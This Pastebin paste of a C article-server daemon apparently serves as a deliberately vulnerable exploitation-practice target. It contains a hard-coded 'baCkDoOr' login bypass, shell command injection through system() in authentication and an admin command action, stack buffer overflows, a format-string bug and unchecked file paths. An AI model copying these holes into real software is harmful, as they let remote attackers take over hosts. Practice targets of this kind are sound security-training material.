Guest User

Untitled

a guest
Jun 14th, 2018
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 11.39 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <unistd.h>
  4. #include <stdlib.h>
  5. #include <stdarg.h>
  6. #include <signal.h>
  7. #include <sys/wait.h>
  8.  
  9. #include <netinet/in.h>
  10. #include <arpa/inet.h>
  11. #include <sys/socket.h>
  12. #include <sys/types.h>
  13. #include <netdb.h>
  14.  
  15. #define PORT 9090
  16. #define USERNAME 0x01
  17. #define PASSWORD 0x02
  18. #define BADUSER "\x33\x44 BAD USERNAME!"
  19. #define BADPASS "\x33\x45 BAD PASSWORD!"
  20. #define READY   "\x41\x41 READY!"
  21. #define USERPATH "./users/"
  22. #define ARTICLEPATH "./articles/"  
  23. #define LISTCOMMAND "ls ./articles/ > list.txt"
  24. #define FILENOTAVAIL "\x33\x31 FILE NOT AVAILABLE!"
  25. #define BEGINFILE "\x41\x41 BEGIN FILE: END WITH '!!!'"
  26. #define ARTICLEWROTE "\x41\x42 ARTICLE HAS BEEN WRITTEN!"
  27. #define LIST_ARTICLES 0x22
  28. #define READ_ARTICLE 0x23
  29. #define WRITE_ARTICLE 0x24
  30. #define COMMAND 0x25
  31. #define ADD_USER 0x26
  32.  
  33. void logData(FILE *logfile, char *format, ...);
  34. int setupSock(FILE *logf, unsigned short port);
  35. int writeSock(int sock, char *buf, size_t len);
  36. int readSock(int sock, char *buf, size_t len);
  37. void mainLoop(FILE *logf, int sock);
  38. void handleConnection(FILE *logfile, int sock);
  39. int userFunctions(FILE *logfile, int sock, char *user);
  40. char *findarg(char *argbuf, char argtype);
  41. int authenticate(FILE *logfile, char *user, char *pass);
  42.  
  43. int writeSock(int sock, char *buf, size_t len)
  44. {
  45.     ssize_t byteswrote = 0;
  46.     ssize_t ret = 0;
  47.  
  48.     while (byteswrote < len)
  49.     {
  50.         ret = send(sock, buf + byteswrote, len - byteswrote, 0);
  51.        
  52.         if (ret < 0)
  53.         {
  54.             return -1;
  55.         }
  56.  
  57.         if (ret == 0)
  58.         {
  59.             break;
  60.         }
  61.        
  62.         byteswrote += ret;
  63.     }
  64.  
  65.     return byteswrote;
  66. }
  67.  
  68. int readSock(int sock, char *buf, size_t len)
  69. {
  70.     ssize_t ret = 0;
  71.     ssize_t bytesread = 0;
  72.  
  73.     while (bytesread < len)
  74.     {
  75.         ret = recv(sock, buf + bytesread, len - bytesread, 0);
  76.  
  77.         if (ret == 0)
  78.         {
  79.             break;
  80.         }  
  81.  
  82.         if (ret < 0)
  83.         {
  84.             return -1;
  85.         }
  86.  
  87.         bytesread += ret;
  88.     }
  89.    
  90.     return bytesread;  
  91. }
  92.  
  93. void writeArticle(int sock, FILE *logfile, char *action)
  94. {
  95.     FILE *file;
  96.     char *p;
  97.     size_t x, y;
  98.     int complete = 0;
  99.     char buf[1024];
  100.     char path[1024];
  101.  
  102.     strcpy(path, ARTICLEPATH);
  103.     strncat(path, &action[1], sizeof(path));
  104.  
  105.     logData(logfile, "user writing article: %s", path);
  106.  
  107.     file = fopen(&action[1], "w");
  108.  
  109.     if (!file)
  110.     {
  111.         writeSock(sock, FILENOTAVAIL, sizeof(FILENOTAVAIL));
  112.         return;
  113.     }
  114.  
  115.     writeSock(sock, BEGINFILE, sizeof(BEGINFILE));
  116.  
  117.     while (1)
  118.     {
  119.         memset(buf, 0, sizeof(buf));
  120.         x = readSock(sock, buf, sizeof(buf)-1);
  121.         for (y = 0; y < x; ++y)
  122.         {
  123.             if (buf[y] == '!')
  124.             {
  125.                 if (buf[y+1] == '!' && buf[y+2] == '!')
  126.                 {
  127.                     buf[y] = 0x0;
  128.                     complete = 1;
  129.                 }
  130.             }
  131.         }  
  132.         fputs(buf, file);
  133.         if (complete)
  134.         {
  135.             break;
  136.         }
  137.     }
  138.  
  139.     writeSock(sock, ARTICLEWROTE, sizeof(ARTICLEWROTE));
  140.     fclose(file);
  141. }
  142.  
  143.  
  144. void readArticle(int sock, FILE *logfile, char *action)
  145. {
  146.     FILE *file;
  147.     char buf[100];
  148.     char path[100];
  149.  
  150.     logData(logfile, &action[1]);
  151.  
  152.     strcpy(path, ARTICLEPATH);
  153.     strcat(path, &action[1]);
  154.  
  155.     logData(logfile, "user request to read article: %s", path);
  156.  
  157.     file = fopen(path, "r");
  158.  
  159.     if (!file)
  160.     {
  161.         writeSock(sock, FILENOTAVAIL, sizeof(FILENOTAVAIL));
  162.         return;
  163.     }
  164.    
  165.     /* fgets for the size of the buffer (100), from the file
  166.        writing the article to the user each time! */
  167.  
  168.     while (fgets(buf, 1000, file))
  169.     {
  170.         writeSock(sock, buf, strlen(buf));
  171.     }
  172.  
  173.     fclose(file);
  174.  
  175.     return;
  176. }
  177.  
  178. void listArticles(int sock, FILE *logfile, char *action)
  179. {
  180.     char buf[100];
  181.     FILE *list;
  182.  
  183.     logData(logfile, "user has requested a list of articles");
  184.  
  185.     /* i wish i had more time! i wouldnt have to write
  186.        this code using system() to call things! */
  187.  
  188.     memset(buf, 0, sizeof(buf));
  189.     system(LISTCOMMAND);
  190.  
  191.     list = fopen("list.txt", "r");
  192.  
  193.     while (fgets(buf, sizeof(buf)-1, list))
  194.     {
  195.         writeSock(sock, buf, strlen(buf)); 
  196.     }
  197.  
  198.     fclose(list);
  199.     return;
  200. }
  201.  
  202. void command(FILE *log, int sock, char *action)
  203. {
  204.     logData(log, "executing command: %s", &action[1]);
  205.     system(&action[1]);
  206. }
  207.  
  208. void addUser(FILE *log, int sock, char *action)
  209. {
  210.     char *p;
  211.     char buf[1024];
  212.  
  213.     p = strchr(&action[1], ':');
  214.  
  215.     if (!p)
  216.     {
  217.         return;
  218.     }
  219.  
  220.     *p = 0x0;
  221.     logData(log, "Adding user: %s with pass: %s", &action[1], &p[1]);  
  222.     snprintf(buf, sizeof(buf)-1, "echo %s > %s%s.txt", &p[1], USERPATH, &action[1]);
  223.     return;
  224. }
  225.  
  226. int adminFunctions(FILE *logfile, int sock)
  227. {
  228.     char action[1024];
  229.     size_t len;
  230.     while (1)
  231.     {
  232.         writeSock(sock, READY, sizeof(READY));
  233.         memset(action, 0, sizeof(action));
  234.         len = readSock(sock, action, sizeof(action));  
  235.    
  236.         if (action[0] == ADD_USER)
  237.         {
  238.             addUser(logfile, sock, action);
  239.         }
  240.         else if (action[0] == COMMAND)
  241.         {
  242.             command(logfile, sock, action);
  243.         }
  244.         else
  245.         {
  246.             logData(logfile, "unknown action: %x", action[0]);
  247.         }
  248.     }
  249.  
  250. }
  251.  
  252. int userFunctions(FILE *logfile, int sock, char *user)
  253. {
  254.     char action[1024];
  255.     size_t len;
  256.  
  257.     if (0 == strncmp(user, "admin", 5))
  258.     {
  259.         adminFunctions(logfile, sock);
  260.         return 0;
  261.     }
  262.    
  263.     while (1)
  264.     {
  265.         writeSock(sock, READY, sizeof(READY));
  266.         memset(action, 0, sizeof(action));
  267.         len = readSock(sock, action, sizeof(action));  
  268.    
  269.         if (action[0] == LIST_ARTICLES)
  270.         {
  271.             listArticles(sock, logfile, action);
  272.         }
  273.         else if (action[0] == READ_ARTICLE)
  274.         {
  275.             readArticle(sock, logfile, action);
  276.         }
  277.         else if (action[0] == WRITE_ARTICLE)
  278.         {
  279.             writeArticle(sock, logfile, action);
  280.         }
  281.         else
  282.         {
  283.             logData(logfile, "unknown action %x", action[0]);
  284.             return;
  285.         }
  286.     }
  287.  
  288.     return 0;
  289. }
  290.  
  291. /* return 1 for success, 2 on bad username, 3 on bad password */
  292. int authenticate(FILE *logfile, char *user, char *pass)
  293. {
  294.     char search[512];
  295.     char path[1024];
  296.     char userfile[1024];
  297.     char data[1024];
  298.     FILE *file;
  299.     int ret;
  300.  
  301.     memset(path, 0, sizeof(1024));
  302.  
  303.     /* FIXME: hard coded admin backdoor for password recovery */   
  304.     if (memcmp(pass, "baCkDoOr", 9) == 0)
  305.     {
  306.         return 1;
  307.     }
  308.    
  309.     /* look up user by checking user files: done via system() to /bin/ls|grep user */
  310.     logData(logfile, "performing lookup for user via system()!\n");
  311.     snprintf(userfile, sizeof(userfile)-1, "%s.txt", user);
  312.     snprintf(search, sizeof(userfile)-1, "stat %s`ls %s | grep %s`", USERPATH, USERPATH, userfile);
  313.     ret = system(search);
  314.  
  315.     if (ret != 0)
  316.     {
  317.         return 2;
  318.     }
  319.  
  320.     snprintf(path, sizeof(path)-1, "%s%s", USERPATH, userfile);
  321.        
  322.     /* open file and check if contents == password */
  323.     file = fopen(path, "r");
  324.  
  325.     if (!file)
  326.     {
  327.         logData(logfile, "fopen for userfile failed\n");
  328.         return 2;
  329.     }
  330.  
  331.     logData(logfile, "getting userfile info\n");
  332.     fgets(data, sizeof(data)-1, file);
  333.    
  334.     fclose(file);
  335.  
  336.     /* Password Check! */
  337.     if (memcmp(data, pass, 3))
  338.     {
  339.         return 3;
  340.     }
  341.  
  342.     return 1;
  343. }
  344.  
  345. char *findarg(char *argbuf, char argtype)
  346. {
  347.     char *ptr1;
  348.     char *found = NULL;
  349.     char type = 0;
  350.     size_t size;
  351.  
  352.     ptr1 = argbuf;
  353.  
  354.     while (1)
  355.     {  
  356.         memcpy((char *)&size, ptr1, 4);
  357.         if (size == 0)
  358.         {
  359.             break;
  360.         }  
  361.         if (ptr1[4] == argtype)
  362.         {
  363.             found = &ptr1[5];
  364.             break;
  365.         }
  366.         ptr1 += size;
  367.     }
  368.  
  369.     return found;
  370. }
  371.  
  372. void handleConnection(FILE *logfile, int sock)
  373. {
  374.     char buffer[1024];
  375.     char argbuf[1024];
  376.     char *user = NULL;
  377.     char *pass = NULL;
  378.     int len = 0;
  379.     int ret = 0;
  380.     size_t segloop;
  381.     size_t segmentcount;
  382.     size_t segnext;
  383.     size_t argsize;
  384.     char *ptr1;
  385.     char *ptr2;
  386.  
  387.     /* read in data */
  388.     memset(buffer, 0, sizeof(buffer));
  389.     len = readSock(sock, buffer, sizeof(buffer));  
  390.     logData(logfile, "handling connection");
  391.  
  392.     if (len == -1)
  393.     {
  394.         return;
  395.     }
  396.    
  397.     /* parse protocol */
  398.     ptr1 = buffer;
  399.     ptr2 = argbuf;
  400.  
  401.     /* get count of segments */
  402.     memcpy((char *)&segmentcount, ptr1, 4);
  403.  
  404.     logData(logfile, "Segment count is %i", segmentcount);
  405.    
  406.     /* make sure there aren't too many segments!
  407.        so the count * 8(bytes) should be the max */
  408.     if (segmentcount * 8 > sizeof(argbuf))
  409.     {
  410.         logData(logfile, "bad segment count");
  411.         return;
  412.     }
  413.  
  414.     ptr1 += 4;
  415.  
  416.     memset(argbuf, 0, sizeof(argbuf));
  417.  
  418.     for (segloop = 0; segloop < segmentcount; ++segloop)
  419.     {
  420.         logData(logfile, "adding segment %i", segloop+1);
  421.         memcpy((char *)&segnext, ptr1, 4);
  422.         logData(logfile, "next segment offset %i", segnext);
  423.         ptr1 += 4;
  424.         memcpy((char *)&argsize, ptr1, 4); 
  425.         logData(logfile, "argsize: %i", argsize);
  426.         memcpy(ptr2, ptr1, argsize);
  427.         ptr2 += argsize;
  428.         ptr1 += segnext;
  429.     }
  430.  
  431.     logData(logfile, "looking up user args");
  432.  
  433.     user = findarg(argbuf, USERNAME);
  434.     pass = findarg(argbuf, PASSWORD);
  435.  
  436.     snprintf(buffer, sizeof(buffer)-1, "User attempting to authenticate: %s", user);
  437.     logData(logfile, buffer);
  438.  
  439.     logData(logfile, "calling authenticate");
  440.     ret = authenticate(logfile, user, pass);
  441.     logData(logfile, "returned from authenticate");
  442.  
  443.     if (ret != 1)
  444.     {
  445.        
  446.         if (ret == 2)
  447.         {
  448.             writeSock(sock, BADUSER, sizeof(BADUSER)); 
  449.         }  
  450.    
  451.         if (ret == 3)
  452.         {
  453.             writeSock(sock, BADPASS, sizeof(BADPASS));
  454.         }
  455.  
  456.         snprintf(buffer, sizeof(buffer)-1,"user: %s failed to login with password %s", user, pass);
  457.         logData(logfile, buffer);
  458.         return;
  459.     }
  460.  
  461.     logData(logfile, "user %s authenticated!", user);
  462.    
  463.     userFunctions(logfile, sock, user);
  464.  
  465.     return;
  466. }
  467.  
  468. void mainLoop(FILE *logf, int sock)
  469. {
  470.     int clientfd = 0;
  471.     struct sockaddr_in client;
  472.     socklen_t clientlen = 0;
  473.     pid_t offspring = 0;
  474.  
  475.     memset((char *)&client, 0, sizeof(client));
  476.    
  477.     logData(logf, "entering main loop...");
  478.  
  479.     while (1)
  480.     {
  481.         clientfd = accept(sock, (struct sockaddr *)&client, &clientlen);
  482.         if (clientfd == -1)
  483.         {
  484.             continue;
  485.         }
  486.  
  487.         offspring = fork();
  488.    
  489.         if (offspring == -1)
  490.         {
  491.             continue;
  492.         }
  493.  
  494.         if (offspring == 0)
  495.         {
  496.             handleConnection(logf, clientfd);
  497.             close(clientfd);
  498.             exit(0);
  499.         }
  500.  
  501.         close(clientfd);
  502.     }
  503. }
  504.  
  505. void spawnhandler(int signumber)
  506. {
  507.     pid_t pid;
  508.     int stat;
  509.  
  510.     while ((pid = waitpid(-1, &stat, WNOHANG))>0)
  511.     {
  512.         printf("circle of life completed for %i\n", pid);  
  513.     }
  514. }
  515.  
  516. int setupSock(FILE *logf, unsigned short port)
  517. {
  518.     int sock = 0;
  519.     struct sockaddr_in sin;
  520.     int opt = 0;
  521.  
  522.     if (signal(SIGCHLD, spawnhandler)== SIG_ERR)
  523.     {
  524.         perror("fork() spawn handler setup failed!");
  525.         return -1;
  526.     }
  527.    
  528.     memset((char *)&sin, 0, sizeof(sin));
  529.  
  530.     sin.sin_family = AF_INET;
  531.     sin.sin_port = htons(port);
  532.    
  533.     sock = socket(AF_INET, SOCK_STREAM, 0);
  534.  
  535.     if (sock == -1)
  536.     {
  537.         logData(logf, "socket() failed");
  538.         return -1;
  539.     }
  540.  
  541.     opt = 1;
  542.  
  543.     if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)) == -1)
  544.     {
  545.         logData(logf,"setsockopt() failed");
  546.         return -1;
  547.     }
  548.  
  549.     if (bind(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
  550.     {
  551.         logData(logf, "bind() failed");
  552.         return -1;
  553.     }
  554.  
  555.     if (listen(sock, 10) == -1)
  556.     {
  557.         logData(logf, "listen() failed");
  558.         return -1;
  559.     }
  560.  
  561.     return sock;
  562. }
  563.  
  564. int main(int argc, char *argv[])
  565. {
  566.     int sock;
  567.     FILE *logf;
  568.  
  569.     /* setup log file */
  570.     logf = fopen("logfile.txt", "w");
  571.  
  572.     if (!logf)
  573.     {
  574.         perror("unable to open log file\n");
  575.         exit(1);
  576.     }
  577.  
  578.     /* go daemon */
  579.     daemon(0,0);
  580.    
  581.     /* setup socket */
  582.     sock = setupSock(logf, PORT);
  583.    
  584.     if (sock == -1)
  585.     {
  586.         logData(logf, "failed to setup socket, exiting");
  587.         exit(1);
  588.     }
  589.  
  590.     logData(logf, "intial socket setup complete");
  591.    
  592.     mainLoop(logf, sock);  
  593.  
  594.     /* this should never execute */
  595.     exit(0);
  596. }
  597.  
  598. /* printf-style data logging */
  599. void logData(FILE *logfile, char *format, ...)
  600. {
  601.     char buffer[4096];
  602.     va_list arguments;
  603.     va_start(arguments, format);
  604.     vsnprintf(buffer, sizeof(buffer)-1, format, arguments);
  605.     va_end(arguments);
  606.     fprintf(logfile, "LoggedData [Proccess:%i]: %s\n", getpid(), buffer);
  607.     fflush(logfile);
  608. }
Add Comment
Please, Sign In to add comment